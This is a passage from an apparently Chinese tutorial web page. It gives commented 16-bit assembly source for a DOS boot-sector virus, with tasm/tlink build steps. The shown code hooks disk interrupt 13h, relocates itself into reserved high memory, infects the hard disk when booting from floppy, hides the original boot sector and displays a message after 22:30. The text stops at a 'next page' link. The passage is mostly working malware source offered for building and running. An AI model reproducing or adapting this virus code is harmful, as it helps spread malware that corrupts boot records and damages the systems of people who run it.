＋设为首页 ＋添加到收藏夹
;引导区病毒样例
;制作方法:tasm boot.asm; tlink boot.asm; ;生成boot.exe,执行即可 .286 .model small .code ;程序入口参数 ;ax=内存高端地址 bx=7c00h 引导程序起始地址 ;cx=0001h 表示从ch(00)磁道cl(01)扇区读出了本程序 ;dx=00/80h 表示从dx(00:a驱)(80:c驱)读出了本程序 ;ds=es=ss=cs=0 初始段值 off equ <offset> virussize=off @@end-off @@start @@start: jmp short @@begin virusflag db v ;病毒标志 @@bootdata: ;这里有两个重要数据结构,不能是代码 org 50h ;病毒从offset50h开始,病毒未用以上数据 @@begin: ;但其它程序可能使用,故须保留 mov bx,7c00h mov sp,bx ;设sp,使ss:sp=0:7c00h sti mov ax,ds:[413h] ;得到内存大小(0:413h单元存有以k计数的内存大小) dec ax dec ax mov ds:[413h],ax ;将原内存大小减2k mov cl,06 shl ax,cl ;计算高端内存地址 mov es,ax xor di,di mov si,sp mov cx,virussize cld rep movsb ;把病毒搬移到高端地址里 push ax mov di,off @@highaddr push di retf ;跳到高端继续执行 @@highaddr: cli ;修改中断向量前,最好关中断 xchg ds:[13h*4+2],ax mov cs:[oldint13seg],ax mov ax,off @@newint13 xchg ds:[13h*4],ax mov cs:[oldint13off],ax ;修改中断13h push ds pop es ;把es复位为0 cmp dl,80h ;是否从硬盘引导? jz short @@readoldhardboot push dx ; 从软盘引导,则传染硬盘 mov dl,80h call @@optdisk ;调用传染模块 pop dx @@readoldflopyboot: ;读出原软盘引导程序 mov ax,0201h mov cx,79*100h+17 ;传染时将原引导程序保存在0面79道17扇区中 mov dh,00h call @@callint13 jc short @@readoldflopyboot ;失败,继续读直到成功 @@execoldboot: cmp es:[bx.flags],0aa55h jnz @@execoldboot mov ah,02h int 1ah ;取系统时间 cmp cx,22*100h+30 ;是否大于22:30分 jb @@exitdisp ;未到,则不显示 lea si,virusmsg @@dispmsg: mov al,cs:[si] inc si mov ah,0eh int 10h ;显示al中的字符 or al,al jnz @@dispmsg xor ax,ax int 16h @@exitdisp: mov cx,0001h ;恢复cx初值 push es push bx retf ;去执行原引导程序 @@readoldhardboot: mov ax,0201h mov cx,0002h ;传染时将原硬盘主引导程序保存在0面0道2扇区中 mov dh,00h call @@callint13 ;读出 jc short @@readoldhardboot ;失败,继续读直到成功 ... 下一页